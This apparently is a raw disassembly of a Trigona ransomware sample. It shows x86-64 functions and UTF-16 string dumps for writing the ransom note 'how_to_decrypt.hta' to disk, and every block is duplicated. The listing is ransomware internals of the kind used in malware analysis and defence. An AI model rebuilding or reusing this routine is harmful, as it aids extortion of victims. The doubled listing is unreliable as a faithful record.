File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
Loading..
0043a970
0043a970fn_43a970:
0043a970push rbp
0043a971push rbx
0043a972sub rsp, 120
0043a976mov rbp, rsp
0043a979mov [rbp+72], 0
0043a981mov [rbp+88], 0
0043a989mov [rbp+80], 0
0043a991mov [rbp+144], rcx
0043a998lea rcx, [rbp+144]
0043a99fcall fn_40bf00
0043a9a4nop
0043a9a5mov rax, [rip+0x29614]
0043a9accmp [rax+308], 0
0043a9b3je 0x43a9fc
0043a9b5lea rcx, [rbp+88]
0043a9b9mov edx, 3
0043a9belea r8, [rip+635]
0043a9c5mov rax, [rip+0x295f4]
0043a9ccmov r9, [rax+280]
0043a9d3lea rax, [rip+686]
0043a9damov [rsp+32], rax
0043a9dfcall fn_40d530
0043a9e4lea rcx, [rbp+80]
0043a9e8mov rdx, [rbp+88]
0043a9eccall fn_40d820
0043a9f1mov rcx, [rbp+80]
0043a9f5mov dl, 1
0043a9f7call fn_439060
0043a9fc
0043a9fcloc_43a9fc:
0043a9fclea rcx, [rbp+72]
0043aa00mov rdx, [rbp+144]
0043aa07lea r8, [rip+634]
0043aa0ecall fn_40d230
0043aa13mov rcx, [rbp+72]
0043aa17call fn_40d180
0043aa1cmov rcx, rax
0043aa1fmov edx, 0xffffffffc0000000
0043aa24xor r8, r8
0043aa27xor r9, r9
0043aa2amov [rsp+32], 1
0043aa32mov [rsp+40], 128
0043aa3amov [rsp+48], 0
0043aa43call CreateFileW
0043aa48mov rbx, rax
0043aa4bcmp rbx, -1
0043aa4fjne 0x43aa7f
0043aa51mov rax, [rip+0x29568]
0043aa58cmp [rax+308], 0
0043aa5fje 0x43abc4
0043aa65lea rcx, [rip+592]
0043aa6cmov dl, 1
0043aa6ecall fn_439060
0043aa73xor ecx, ecx
0043aa75call fn_4392a0
0043aa7ajmp 0x43abc4
0043aa7f
0043aa7floc_43aa7f:
0043aa7fmov [rbp+108], 0
0043aa86jmp 0x43ab7d
0043aa8b
0043aa8bloc_43aa8b:
0043aa8bmov [rbp+108], 0
0043aa92mov rcx, rbx
0043aa95xor edx, edx
0043aa97xor r8, r8
0043aa9axor r9, r9
0043aa9dcall SetFilePointerEx
0043aaa2test eax, eax
0043aaa4jne 0x43aad4
0043aaa6mov rax, [rip+0x29513]
0043aaadcmp [rax+308], 0
0043aab4je 0x43ab7d
0043aabalea rcx, [rip+599]
0043aac1mov dl, 1
0043aac3call fn_439060
0043aac8xor ecx, ecx
0043aacacall fn_4392a0
0043aacfjmp 0x43ab7d
0043aad4
0043aad4loc_43aad4:
0043aad4mov rax, [rip+0x294e5]
0043aadbmov rax, [rax+152]
0043aae2test rax, rax
0043aae5je 0x43aaeb
0043aae7mov rax, [rax-8]
0043aaeb
0043aaebloc_43aaeb:
0043aaebmov rcx, rbx
0043aaeemov rdx, [rip+0x294cb]
0043aaf5mov rdx, [rdx+152]
0043aafcmov r8l, eax
0043aafflea r9, [rbp+108]
0043ab03mov [rsp+32], 0
0043ab0ccall WriteFile
0043ab11test eax, eax
0043ab13jne 0x43ab3c
0043ab15mov rax, [rip+0x294a4]
0043ab1ccmp [rax+308], 0
0043ab23je 0x43ab7d
0043ab25lea rcx, [rip+600]
0043ab2cmov dl, 1
0043ab2ecall fn_439060
0043ab33xor ecx, ecx
0043ab35call fn_4392a0
0043ab3ajmp 0x43ab7d
0043ab3c
0043ab3cloc_43ab3c:
0043ab3cmov rax, [rip+0x2947d]
0043ab43mov rax, [rax+152]
0043ab4atest rax, rax
0043ab4dje 0x43ab53
0043ab4fmov rax, [rax-8]
0043ab53
0043ab53loc_43ab53:
0043ab53cmp [rbp+108], eax
0043ab56je 0x43ab7d
0043ab58mov rax, [rip+0x29461]
0043ab5fcmp [rax+308], 0
0043ab66je 0x43ab7d
0043ab68lea rcx, [rip+621]
0043ab6fmov dl, 1
0043ab71call fn_439060
0043ab76xor ecx, ecx
0043ab78call fn_4392a0
0043ab7d
0043ab7dloc_43ab7d:
0043ab7dmov rax, [rip+0x2943c]
0043ab84mov rax, [rax+152]
0043ab8btest rax, rax
0043ab8eje 0x43ab94
0043ab90mov rax, [rax-8]
0043ab94
0043ab94loc_43ab94:
0043ab94cmp [rbp+108], eax
0043ab97jne 0x43aa8b
0043ab9dmov rcx, rbx
0043aba0call CloseHandle
0043aba5mov rax, [rip+0x29414]
0043abaccmp [rax+308], 0
0043abb3je 0x43abc3
0043abb5lea rcx, [rip+652]
0043abbcmov dl, 1
0043abbecall fn_439060
0043abc3
0043abc3loc_43abc3:
0043abc3nop
0043abc4
0043abc4loc_43abc4:
0043abc4lea rcx, [rbp+72]
0043abc8call fn_40bd90
0043abcdlea rcx, [rbp+80]
0043abd1call fn_40bcf0
0043abd6lea rcx, [rbp+88]
0043abdacall fn_40bd90
0043abdflea rcx, [rbp+144]
0043abe6call fn_40bd90
0043abeblea rsp, [rbp+120]
0043abefpop rbx
0043abf0pop rbp
0043abf1ret
0043a970
0043a970fn_43a970:
0043a970push rbp
0043a971push rbx
0043a972sub rsp, 120
0043a976mov rbp, rsp
0043a979mov [rbp+72], 0
0043a981mov [rbp+88], 0
0043a989mov [rbp+80], 0
0043a991mov [rbp+144], rcx
0043a998lea rcx, [rbp+144]
0043a99fcall fn_40bf00
0043a9a4nop
0043a9a5mov rax, [rip+0x29614]
0043a9accmp [rax+308], 0
0043a9b3je 0x43a9fc
0043a9b5lea rcx, [rbp+88]
0043a9b9mov edx, 3
0043a9belea r8, [rip+635]
0043a9c5mov rax, [rip+0x295f4]
0043a9ccmov r9, [rax+280]
0043a9d3lea rax, [rip+686]
0043a9damov [rsp+32], rax
0043a9dfcall fn_40d530
0043a9e4lea rcx, [rbp+80]
0043a9e8mov rdx, [rbp+88]
0043a9eccall fn_40d820
0043a9f1mov rcx, [rbp+80]
0043a9f5mov dl, 1
0043a9f7call fn_439060
0043a9fc
0043a9fcloc_43a9fc:
0043a9fclea rcx, [rbp+72]
0043aa00mov rdx, [rbp+144]
0043aa07lea r8, [rip+634]
0043aa0ecall fn_40d230
0043aa13mov rcx, [rbp+72]
0043aa17call fn_40d180
0043aa1cmov rcx, rax
0043aa1fmov edx, 0xffffffffc0000000
0043aa24xor r8, r8
0043aa27xor r9, r9
0043aa2amov [rsp+32], 1
0043aa32mov [rsp+40], 128
0043aa3amov [rsp+48], 0
0043aa43call CreateFileW
0043aa48mov rbx, rax
0043aa4bcmp rbx, -1
0043aa4fjne 0x43aa7f
0043aa51mov rax, [rip+0x29568]
0043aa58cmp [rax+308], 0
0043aa5fje 0x43abc4
0043aa65lea rcx, [rip+592]
0043aa6cmov dl, 1
0043aa6ecall fn_439060
0043aa73xor ecx, ecx
0043aa75call fn_4392a0
0043aa7ajmp 0x43abc4
0043aa7f
0043aa7floc_43aa7f:
0043aa7fmov [rbp+108], 0
0043aa86jmp 0x43ab7d
0043aa8b
0043aa8bloc_43aa8b:
0043aa8bmov [rbp+108], 0
0043aa92mov rcx, rbx
0043aa95xor edx, edx
0043aa97xor r8, r8
0043aa9axor r9, r9
0043aa9dcall SetFilePointerEx
0043aaa2test eax, eax
0043aaa4jne 0x43aad4
0043aaa6mov rax, [rip+0x29513]
0043aaadcmp [rax+308], 0
0043aab4je 0x43ab7d
0043aabalea rcx, [rip+599]
0043aac1mov dl, 1
0043aac3call fn_439060
0043aac8xor ecx, ecx
0043aacacall fn_4392a0
0043aacfjmp 0x43ab7d
0043aad4
0043aad4loc_43aad4:
0043aad4mov rax, [rip+0x294e5]
0043aadbmov rax, [rax+152]
0043aae2test rax, rax
0043aae5je 0x43aaeb
0043aae7mov rax, [rax-8]
0043aaeb
0043aaebloc_43aaeb:
0043aaebmov rcx, rbx
0043aaeemov rdx, [rip+0x294cb]
0043aaf5mov rdx, [rdx+152]
0043aafcmov r8l, eax
0043aafflea r9, [rbp+108]
0043ab03mov [rsp+32], 0
0043ab0ccall WriteFile
0043ab11test eax, eax
0043ab13jne 0x43ab3c
0043ab15mov rax, [rip+0x294a4]
0043ab1ccmp [rax+308], 0
0043ab23je 0x43ab7d
0043ab25lea rcx, [rip+600]
0043ab2cmov dl, 1
0043ab2ecall fn_439060
0043ab33xor ecx, ecx
0043ab35call fn_4392a0
0043ab3ajmp 0x43ab7d
0043ab3c
0043ab3cloc_43ab3c:
0043ab3cmov rax, [rip+0x2947d]
0043ab43mov rax, [rax+152]
0043ab4atest rax, rax
0043ab4dje 0x43ab53
0043ab4fmov rax, [rax-8]
0043ab53
0043ab53loc_43ab53:
0043ab53cmp [rbp+108], eax
0043ab56je 0x43ab7d
0043ab58mov rax, [rip+0x29461]
0043ab5fcmp [rax+308], 0
0043ab66je 0x43ab7d
0043ab68lea rcx, [rip+621]
0043ab6fmov dl, 1
0043ab71call fn_439060
0043ab76xor ecx, ecx
0043ab78call fn_4392a0
0043ab7d
0043ab7dloc_43ab7d:
0043ab7dmov rax, [rip+0x2943c]
0043ab84mov rax, [rax+152]
0043ab8btest rax, rax
0043ab8eje 0x43ab94
0043ab90mov rax, [rax-8]
0043ab94
0043ab94loc_43ab94:
0043ab94cmp [rbp+108], eax
0043ab97jne 0x43aa8b
0043ab9dmov rcx, rbx
0043aba0call CloseHandle
0043aba5mov rax, [rip+0x29414]
0043abaccmp [rax+308], 0
0043abb3je 0x43abc3
0043abb5lea rcx, [rip+652]
0043abbcmov dl, 1
0043abbecall fn_439060
0043abc3
0043abc3loc_43abc3:
0043abc3nop
0043abc4
0043abc4loc_43abc4:
0043abc4lea rcx, [rbp+72]
0043abc8call fn_40bd90
0043abcdlea rcx, [rbp+80]
0043abd1call fn_40bcf0
0043abd6lea rcx, [rbp+88]
0043abdacall fn_40bd90
0043abdflea rcx, [rbp+144]
0043abe6call fn_40bd90
0043abeblea rsp, [rbp+120]
0043abefpop rbx
0043abf0pop rbp
0043abf1ret
0043a970
0043abf2
0043abf2 64 48 8d 44 20 00 48 8d 04 05 00 00 00 00 dH.D .H.......
0043abf2 64 48 8d 44 20 00 48 8d 04 05 00 00 00 00 dH.D .H.......
0043ac00
0043ac00fn_43ac00:
0043ac00push rbp
0043ac01push rbx
0043ac02sub rsp, 40
0043ac06mov rbp, rsp
0043ac09mov rbx, rdx
0043ac0clea rcx, [rbx+72]
0043ac10call fn_40bd90
0043ac15lea rcx, [rbx+80]
0043ac19call fn_40bcf0
0043ac1elea rcx, [rbx+88]
0043ac22call fn_40bd90
0043ac27lea rcx, [rbx+144]
0043ac2ecall fn_40bd90
0043ac33lea rsp, [rbp+40]
0043ac37pop rbx
0043ac38pop rbp
0043ac39ret
0043ac00
0043ac00fn_43ac00:
0043ac00push rbp
0043ac01push rbx
0043ac02sub rsp, 40
0043ac06mov rbp, rsp
0043ac09mov rbx, rdx
0043ac0clea rcx, [rbx+72]
0043ac10call fn_40bd90
0043ac15lea rcx, [rbx+80]
0043ac19call fn_40bcf0
0043ac1elea rcx, [rbx+88]
0043ac22call fn_40bd90
0043ac27lea rcx, [rbx+144]
0043ac2ecall fn_40bd90
0043ac33lea rsp, [rbp+40]
0043ac37pop rbx
0043ac38pop rbp
0043ac39ret
0043ac00
0043ac3a
0043ac3a 00 00 42 00 00 00 ..B...
0043ac40 54 00 72 00 79 00 20 00 74 00 6f 00 20 00 63 00 T.r.y. .t.o. .c.
0043ac50 72 00 65 00 61 00 74 00 65 00 20 00 61 00 6e 00 r.e.a.t.e. .a.n.
0043ac60 64 00 20 00 6f 00 70 00 65 00 6e 00 20 00 48 00 d. .o.p.e.n. .H.
0043ac70 54 00 41 00 20 00 66 00 69 00 6c 00 65 00 3a 00 T.A. .f.i.l.e.:.
0043ac80 20 00 00 00 24 00 00 00 68 00 6f 00 77 00 5f 00 ...$...h.o.w._.
0043ac90 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
0043aca0 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 00 00 p.t...h.t.a.....
0043acb0 b0 04 02 00 ff ff ff ff 27 00 00 00 57 00 41 00 ........'...W.A.
0043acc0 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043acd0 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 a.n.'.t. .c.r.e.
0043ace0 61 00 74 00 65 00 20 00 6f 00 72 00 20 00 6f 00 a.t.e. .o.r. .o.
0043acf0 70 00 65 00 6e 00 20 00 48 00 54 00 41 00 20 00 p.e.n. .H.T.A. .
0043ad00 66 00 69 00 6c 00 65 00 2e 00 00 00 b0 04 02 00 f.i.l.e.........
0043ad10 ff ff ff ff 2e 00 00 00 45 00 52 00 52 00 4f 00 ........E.R.R.O.
0043ad20 52 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 R.:. .C.a.n.'.t.
0043ad30 20 00 73 00 65 00 74 00 20 00 48 00 54 00 41 00 .s.e.t. .H.T.A.
0043ad40 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 6f 00 .f.i.l.e. .p.o.
0043ad50 73 00 69 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 s.i.t.i.o.n... .
0043ad60 54 00 72 00 79 00 20 00 61 00 67 00 61 00 69 00 T.r.y. .a.g.a.i.
0043ad70 6e 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff n...............
0043ad80 25 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 %...E.R.R.O.R.:.
0043ad90 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
0043ada0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
0043adb0 48 00 54 00 41 00 2e 00 20 00 54 00 72 00 79 00 H.T.A... .T.r.y.
0043adc0 20 00 61 00 67 00 61 00 69 00 6e 00 2e 00 00 00 .a.g.a.i.n.....
0043add0 b0 04 02 00 ff ff ff ff 2e 00 00 00 45 00 52 00 ............E.R.
0043ade0 52 00 4f 00 52 00 3a 00 20 00 43 00 61 00 6e 00 R.O.R.:. .C.a.n.
0043adf0 27 00 74 00 20 00 77 00 72 00 69 00 74 00 65 00 '.t. .w.r.i.t.e.
0043ae00 20 00 61 00 6c 00 6c 00 20 00 64 00 61 00 74 00 .a.l.l. .d.a.t.
0043ae10 61 00 20 00 74 00 6f 00 20 00 48 00 54 00 41 00 a. .t.o. .H.T.A.
0043ae20 2e 00 20 00 54 00 72 00 79 00 20 00 61 00 67 00 .. .T.r.y. .a.g.
0043ae30 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
0043ae40 ff ff ff ff 0a 00 00 00 48 00 54 00 41 00 20 00 ........H.T.A. .
0043ae50 73 00 61 00 76 00 65 00 64 00 2e 00 00 00 cc cc s.a.v.e.d.......
0043ac3a 00 00 42 00 00 00 ..B...
0043ac40 54 00 72 00 79 00 20 00 74 00 6f 00 20 00 63 00 T.r.y. .t.o. .c.
0043ac50 72 00 65 00 61 00 74 00 65 00 20 00 61 00 6e 00 r.e.a.t.e. .a.n.
0043ac60 64 00 20 00 6f 00 70 00 65 00 6e 00 20 00 48 00 d. .o.p.e.n. .H.
0043ac70 54 00 41 00 20 00 66 00 69 00 6c 00 65 00 3a 00 T.A. .f.i.l.e.:.
0043ac80 20 00 00 00 24 00 00 00 68 00 6f 00 77 00 5f 00 ...$...h.o.w._.
0043ac90 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
0043aca0 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 00 00 p.t...h.t.a.....
0043acb0 b0 04 02 00 ff ff ff ff 27 00 00 00 57 00 41 00 ........'...W.A.
0043acc0 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043acd0 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 a.n.'.t. .c.r.e.
0043ace0 61 00 74 00 65 00 20 00 6f 00 72 00 20 00 6f 00 a.t.e. .o.r. .o.
0043acf0 70 00 65 00 6e 00 20 00 48 00 54 00 41 00 20 00 p.e.n. .H.T.A. .
0043ad00 66 00 69 00 6c 00 65 00 2e 00 00 00 b0 04 02 00 f.i.l.e.........
0043ad10 ff ff ff ff 2e 00 00 00 45 00 52 00 52 00 4f 00 ........E.R.R.O.
0043ad20 52 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 R.:. .C.a.n.'.t.
0043ad30 20 00 73 00 65 00 74 00 20 00 48 00 54 00 41 00 .s.e.t. .H.T.A.
0043ad40 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 6f 00 .f.i.l.e. .p.o.
0043ad50 73 00 69 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 s.i.t.i.o.n... .
0043ad60 54 00 72 00 79 00 20 00 61 00 67 00 61 00 69 00 T.r.y. .a.g.a.i.
0043ad70 6e 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff n...............
0043ad80 25 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 %...E.R.R.O.R.:.
0043ad90 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
0043ada0 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 r.i.t.e. .t.o. .
0043adb0 48 00 54 00 41 00 2e 00 20 00 54 00 72 00 79 00 H.T.A... .T.r.y.
0043adc0 20 00 61 00 67 00 61 00 69 00 6e 00 2e 00 00 00 .a.g.a.i.n.....
0043add0 b0 04 02 00 ff ff ff ff 2e 00 00 00 45 00 52 00 ............E.R.
0043ade0 52 00 4f 00 52 00 3a 00 20 00 43 00 61 00 6e 00 R.O.R.:. .C.a.n.
0043adf0 27 00 74 00 20 00 77 00 72 00 69 00 74 00 65 00 '.t. .w.r.i.t.e.
0043ae00 20 00 61 00 6c 00 6c 00 20 00 64 00 61 00 74 00 .a.l.l. .d.a.t.
0043ae10 61 00 20 00 74 00 6f 00 20 00 48 00 54 00 41 00 a. .t.o. .H.T.A.
0043ae20 2e 00 20 00 54 00 72 00 79 00 20 00 61 00 67 00 .. .T.r.y. .a.g.
0043ae30 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
0043ae40 ff ff ff ff 0a 00 00 00 48 00 54 00 41 00 20 00 ........H.T.A. .
0043ae50 73 00 61 00 76 00 65 00 64 00 2e 00 00 00 cc cc s.a.v.e.d.......
0043ae60
0043ae60fn_43ae60:
0043ae60push rbp
0043ae61sub rsp, 96
0043ae65mov rbp, rsp
0043ae68mov [rbp+64], 0
0043ae70mov [rbp+56], 0
0043ae78mov [rbp+80], 0
0043ae80mov [rbp+72], 0
0043ae88mov [rbp+88], 0
0043ae90nop
0043ae91lea rcx, [rbp+88]
0043ae95mov rax, [rip+0x29124]
0043ae9cmov rdx, [rax+280]
0043aea3lea r8, [rip+406]
0043aeaacall fn_40d230
0043aeafmov rcx, [rbp+88]
0043aeb3call fn_42fe80
0043aeb8test al, al
0043aebaje 0x43af32
0043aebcmov rax, [rip+0x290fd]
0043aec3cmp [rax+308], 0
0043aecaje 0x43af28
0043aecclea rcx, [rip+417]
0043aed3mov dl, 1
0043aed5call fn_439060
0043aedalea rcx, [rbp+80]
0043aedemov edx, 3
0043aee3lea r8, [rip+418]
0043aeeamov rax, [rip+0x290cf]
0043aef1mov r9, [rax+280]
0043aef8lea rax, [rip+321]
0043aeffmov [rsp+32], rax
0043af04call fn_40d530
0043af09lea rcx, [rbp+72]
0043af0dmov rdx, [rbp+80]
0043af11call fn_40d820
0043af16mov rcx, [rbp+72]
0043af1amov dl, 1
0043af1ccall fn_439060
0043af21xor ecx, ecx
0043af23call fn_4392a0
0043af28
0043af28loc_43af28:
0043af28call fn_439db0
0043af2djmp 0x43afc3
0043af32
0043af32loc_43af32:
0043af32mov rax, [rip+0x29087]
0043af39cmp [rax+308], 0
0043af40je 0x43af50
0043af42lea rcx, [rip+367]
0043af49mov dl, 1
0043af4bcall fn_439060
0043af50
0043af50loc_43af50:
0043af50call fn_43b120
0043af55mov rax, [rip+0x29064]
0043af5ccmp [rax+308], 0
0043af63je 0x43afb0
0043af65lea rcx, [rip+372]
0043af6cmov dl, 1
0043af6ecall fn_439060
0043af73lea rcx, [rbp+64]
0043af77lea rdx, [rip+378]
0043af7emov rax, [rip+0x2903b]
0043af85mov r8, [rax+280]
0043af8ccall fn_40d230
0043af91lea rcx, [rbp+56]
0043af95mov rdx, [rbp+64]
0043af99call fn_40d820
0043af9emov rcx, [rbp+56]
0043afa2mov dl, 1
0043afa4call fn_439060
0043afa9xor ecx, ecx
0043afabcall fn_4392a0
0043afb0
0043afb0loc_43afb0:
0043afb0mov rax, [rip+0x29009]
0043afb7mov rcx, [rax+280]
0043afbecall fn_43a970
0043afc3
0043afc3loc_43afc3:
0043afc3nop
0043afc4lea rcx, [rbp+56]
0043afc8call fn_40bcf0
0043afcdlea rcx, [rbp+64]
0043afd1call fn_40bd90
0043afd6lea rcx, [rbp+72]
0043afdacall fn_40bcf0
0043afdflea rcx, [rbp+80]
0043afe3mov edx, 2
0043afe8call fn_40be70
0043afedlea rsp, [rbp+96]
0043aff1pop rbp
0043aff2ret
0043ae60
0043ae60fn_43ae60:
0043ae60push rbp
0043ae61sub rsp, 96
0043ae65mov rbp, rsp
0043ae68mov [rbp+64], 0
0043ae70mov [rbp+56], 0
0043ae78mov [rbp+80], 0
0043ae80mov [rbp+72], 0
0043ae88mov [rbp+88], 0
0043ae90nop
0043ae91lea rcx, [rbp+88]
0043ae95mov rax, [rip+0x29124]
0043ae9cmov rdx, [rax+280]
0043aea3lea r8, [rip+406]
0043aeaacall fn_40d230
0043aeafmov rcx, [rbp+88]
0043aeb3call fn_42fe80
0043aeb8test al, al
0043aebaje 0x43af32
0043aebcmov rax, [rip+0x290fd]
0043aec3cmp [rax+308], 0
0043aecaje 0x43af28
0043aecclea rcx, [rip+417]
0043aed3mov dl, 1
0043aed5call fn_439060
0043aedalea rcx, [rbp+80]
0043aedemov edx, 3
0043aee3lea r8, [rip+418]
0043aeeamov rax, [rip+0x290cf]
0043aef1mov r9, [rax+280]
0043aef8lea rax, [rip+321]
0043aeffmov [rsp+32], rax
0043af04call fn_40d530
0043af09lea rcx, [rbp+72]
0043af0dmov rdx, [rbp+80]
0043af11call fn_40d820
0043af16mov rcx, [rbp+72]
0043af1amov dl, 1
0043af1ccall fn_439060
0043af21xor ecx, ecx
0043af23call fn_4392a0
0043af28
0043af28loc_43af28:
0043af28call fn_439db0
0043af2djmp 0x43afc3
0043af32
0043af32loc_43af32:
0043af32mov rax, [rip+0x29087]
0043af39cmp [rax+308], 0
0043af40je 0x43af50
0043af42lea rcx, [rip+367]
0043af49mov dl, 1
0043af4bcall fn_439060
0043af50
0043af50loc_43af50:
0043af50call fn_43b120
0043af55mov rax, [rip+0x29064]
0043af5ccmp [rax+308], 0
0043af63je 0x43afb0
0043af65lea rcx, [rip+372]
0043af6cmov dl, 1
0043af6ecall fn_439060
0043af73lea rcx, [rbp+64]
0043af77lea rdx, [rip+378]
0043af7emov rax, [rip+0x2903b]
0043af85mov r8, [rax+280]
0043af8ccall fn_40d230
0043af91lea rcx, [rbp+56]
0043af95mov rdx, [rbp+64]
0043af99call fn_40d820
0043af9emov rcx, [rbp+56]
0043afa2mov dl, 1
0043afa4call fn_439060
0043afa9xor ecx, ecx
0043afabcall fn_4392a0
0043afb0
0043afb0loc_43afb0:
0043afb0mov rax, [rip+0x29009]
0043afb7mov rcx, [rax+280]
0043afbecall fn_43a970
0043afc3
0043afc3loc_43afc3:
0043afc3nop
0043afc4lea rcx, [rbp+56]
0043afc8call fn_40bcf0
0043afcdlea rcx, [rbp+64]
0043afd1call fn_40bd90
0043afd6lea rcx, [rbp+72]
0043afdacall fn_40bcf0
0043afdflea rcx, [rbp+80]
0043afe3mov edx, 2
0043afe8call fn_40be70
0043afedlea rsp, [rbp+96]
0043aff1pop rbp
0043aff2ret
0043ae60
0043aff3
0043aff3 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
0043aff3 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
0043b000
0043b000fn_43b000:
0043b000push rbp
0043b001push rbx
0043b002sub rsp, 40
0043b006mov rbp, rsp
0043b009mov rbx, rdx
0043b00clea rcx, [rbx+56]
0043b010call fn_40bcf0
0043b015lea rcx, [rbx+64]
0043b019call fn_40bd90
0043b01elea rcx, [rbx+72]
0043b022call fn_40bcf0
0043b027lea rcx, [rbx+80]
0043b02bmov edx, 2
0043b030call fn_40be70
0043b035lea rsp, [rbp+40]
0043b039pop rbx
0043b03apop rbp
0043b03bret
0043b000
0043b000fn_43b000:
0043b000push rbp
0043b001push rbx
0043b002sub rsp, 40
0043b006mov rbp, rsp
0043b009mov rbx, rdx
0043b00clea rcx, [rbx+56]
0043b010call fn_40bcf0
0043b015lea rcx, [rbx+64]
0043b019call fn_40bd90
0043b01elea rcx, [rbx+72]
0043b022call fn_40bcf0
0043b027lea rcx, [rbx+80]
0043b02bmov edx, 2
0043b030call fn_40be70
0043b035lea rsp, [rbp+40]
0043b039pop rbx
0043b03apop rbp
0043b03bret
0043b000
0043b03c
0043b03c 24 00 00 00 $...
0043b040 68 00 6f 00 77 00 5f 00 74 00 6f 00 5f 00 64 00 h.o.w._.t.o._.d.
0043b050 65 00 63 00 72 00 79 00 70 00 74 00 2e 00 68 00 e.c.r.y.p.t...h.
0043b060 74 00 61 00 00 00 00 00 b0 04 02 00 ff ff ff ff t.a.............
0043b070 09 00 00 00 4c 00 6f 00 61 00 64 00 20 00 48 00 ....L.o.a.d. .H.
0043b080 54 00 41 00 2e 00 00 00 1e 00 00 00 48 00 54 00 T.A.........H.T.
0043b090 41 00 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 A. .f.i.l.e. .p.
0043b0a0 61 00 74 00 68 00 3a 00 20 00 00 00 b0 04 02 00 a.t.h.:. .......
0043b0b0 ff ff ff ff 0c 00 00 00 50 00 72 00 65 00 70 00 ........P.r.e.p.
0043b0c0 61 00 72 00 65 00 20 00 48 00 54 00 41 00 2e 00 a.r.e. .H.T.A...
0043b0d0 00 00 00 00 b0 04 02 00 ff ff ff ff 09 00 00 00 ................
0043b0e0 53 00 61 00 76 00 65 00 20 00 48 00 54 00 41 00 S.a.v.e. .H.T.A.
0043b0f0 2e 00 00 00 24 00 00 00 54 00 65 00 6d 00 70 00 ....$...T.e.m.p.
0043b100 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 .f.o.l.d.e.r. .
0043b110 70 00 61 00 74 00 68 00 3a 00 20 00 00 00 cc cc p.a.t.h.:. .....
0043b03c 24 00 00 00 $...
0043b040 68 00 6f 00 77 00 5f 00 74 00 6f 00 5f 00 64 00 h.o.w._.t.o._.d.
0043b050 65 00 63 00 72 00 79 00 70 00 74 00 2e 00 68 00 e.c.r.y.p.t...h.
0043b060 74 00 61 00 00 00 00 00 b0 04 02 00 ff ff ff ff t.a.............
0043b070 09 00 00 00 4c 00 6f 00 61 00 64 00 20 00 48 00 ....L.o.a.d. .H.
0043b080 54 00 41 00 2e 00 00 00 1e 00 00 00 48 00 54 00 T.A.........H.T.
0043b090 41 00 20 00 66 00 69 00 6c 00 65 00 20 00 70 00 A. .f.i.l.e. .p.
0043b0a0 61 00 74 00 68 00 3a 00 20 00 00 00 b0 04 02 00 a.t.h.:. .......
0043b0b0 ff ff ff ff 0c 00 00 00 50 00 72 00 65 00 70 00 ........P.r.e.p.
0043b0c0 61 00 72 00 65 00 20 00 48 00 54 00 41 00 2e 00 a.r.e. .H.T.A...
0043b0d0 00 00 00 00 b0 04 02 00 ff ff ff ff 09 00 00 00 ................
0043b0e0 53 00 61 00 76 00 65 00 20 00 48 00 54 00 41 00 S.a.v.e. .H.T.A.
0043b0f0 2e 00 00 00 24 00 00 00 54 00 65 00 6d 00 70 00 ....$...T.e.m.p.
0043b100 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 .f.o.l.d.e.r. .
0043b110 70 00 61 00 74 00 68 00 3a 00 20 00 00 00 cc cc p.a.t.h.:. .....
0043b120
0043b120fn_43b120:
0043b120push rbp
0043b121add rsp, -128
0043b125mov rbp, rsp
0043b128mov [rbp+32], 0
0043b130mov [rbp+40], 0
0043b138mov [rbp+48], 0
0043b140mov [rbp+56], 0
0043b148mov [rbp+64], 0
0043b150mov [rbp+72], 0
0043b158mov [rbp+120], 0
0043b160mov [rbp+112], 0
0043b168mov [rbp+104], 0
0043b170mov [rbp+96], 0
0043b178mov [rbp+88], 0
0043b180mov [rbp+80], 0
0043b188nop
0043b189mov rax, [rip+0x28ff8]
0043b190lea rcx, [rax+160]
0043b197lea rdx, [rip+1138]
0043b19ecall fn_40c360
0043b1a3mov rax, [rip+0x28fde]
0043b1aalea rcx, [rax+168]
0043b1b1lea rdx, [rip+1140]
0043b1b8call fn_40c360
0043b1bdmov rax, [rip+0x28fc4]
0043b1c4lea rcx, [rax+176]
0043b1cblea rdx, [rip+1146]
0043b1d2call fn_40c360
0043b1d7mov rax, [rip+0x28faa]
0043b1delea rcx, [rax+184]
0043b1e5lea rdx, [rip+1144]
0043b1eccall fn_40c360
0043b1f1mov rax, [rip+0x28f90]
0043b1f8lea rcx, [rax+192]
0043b1fflea rdx, [rip+1142]
0043b206call fn_40c360
0043b20bmov rax, [rip+0x28f76]
0043b212lea rcx, [rax+200]
0043b219lea rdx, [rip+1136]
0043b220call fn_40c360
0043b225mov rax, [rip+0x28f5c]
0043b22clea rcx, [rax+208]
0043b233lea rdx, [rip+1134]
0043b23acall fn_40c360
0043b23fmov rax, [rip+0x28f42]
0043b246lea rcx, [rax+216]
